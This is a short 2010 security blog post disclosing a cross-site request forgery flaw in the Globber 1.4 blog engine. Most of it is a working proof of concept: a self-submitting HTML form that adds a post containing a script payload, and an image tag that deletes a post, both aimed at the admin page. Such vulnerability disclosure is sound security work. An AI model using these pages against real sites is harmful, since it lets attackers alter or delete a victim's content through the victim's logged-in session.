This site is soon to be deprecated by http://www.johnleitch.net

Sunday, July 11, 2010

Globber 1.4 Cross-site Request Forgery

A cross-site request forgery vulnerability in Globber can be exploited
to add and delete blog posts.

PoC
<!-- Add (note that blog also must be "rebuilt") -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/globber/admin.php?task=edit&c=Misc&a=new-article">
<input type="hidden" name="title" value="New Article" />
<input type="hidden" name="date" value="06-07-2010 10:16 pm" />
<input type="hidden" name="tags" value="" />
<input type="hidden" name="content" value="&lt;script&gt;alert(0)&lt;/script&gt;" />
</form>
</body>
</html>

<!-- Delete -->
<html>
<body>
<img src="http://localhost/globber/admin.php?task=articles&delc=Misc&dela=first-post" />
</body>
</html>

3 comments: